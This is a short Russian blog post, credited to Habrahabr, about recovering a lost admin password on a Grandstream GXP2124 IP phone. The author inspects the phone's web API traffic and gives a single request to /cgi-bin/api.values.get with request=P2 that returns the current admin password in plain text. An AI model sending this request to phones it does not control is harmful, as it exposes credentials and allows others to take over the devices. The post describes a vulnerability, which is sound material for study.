Узнаем пароль администратора в телефоне Grandstream GXP2124

Сегодня столкнулся с проблемой: кто-то изменил пароль администратора к телефону. Почитав в сети информацию, сделал вывод, чтобы: Изменить пароль администратора, нужен пароль администратора; Сбросить телефон в заводские настройки, нужен пароль администратора; Перепрошить телефон — вновь нужен тот отсутствующий пароль… Как же найти выход из сложившейся ситуации? Да легко! Для «узнавания» пароля мной был использован самый обычный браузер Google Chrome с установленным компонентов Furebug, плюс, другой телефон Grandstream GXP2124, доступ к которому у меня есть.imageДальше ход действий был следующий: Запускаем браузер и включаем утилиту Firebug, после чего начинаем «гулять» по различным страницам. В списке запросов был обнаружен:

POST cgi-bin/api.values.get

, а в теле ответа числится: {«response»: «success», «body»:{«vendor_fullname»: «Grandstream Networks, Inc.»}}

Листая дальше, нашел и такой запрос: POST cgi-bin/api-phone_operation

в запросе которого были переданы параметры: cmd=extend&arg=&sid=639534b3e5a

Что же дальше? А дальше перехожу в настройки безопасности и изменяю пароль на телефоне, доступ к которому у меня уже есть и смотрю список ответов: POST cgi-bin/api.values.postSource: P2=MyNewPass&: confirmAdminPwd=MyNewPass&sid=639534b3e5a

где: P2 — переданный пароль администратора; confirmAdminPwd — подтверждение пароля администратора; sid — текущая сессия (нам не пригодится). Дальше, проявив фантазию, составляем запрос вида: 192.168.1.253/cgi-bin/api.values.get? request=P2

где 192.168.1.253 — IP-адрес телефона.Отправляем и…

… и получаем JSON-ответ вида:

{«response»: «success», «body»:{«P2»: «adminPass»}}

где adminPass — текущий пароль администратора.Profit!

С уважением, Andrey Helldar!

© Habrahabr.ru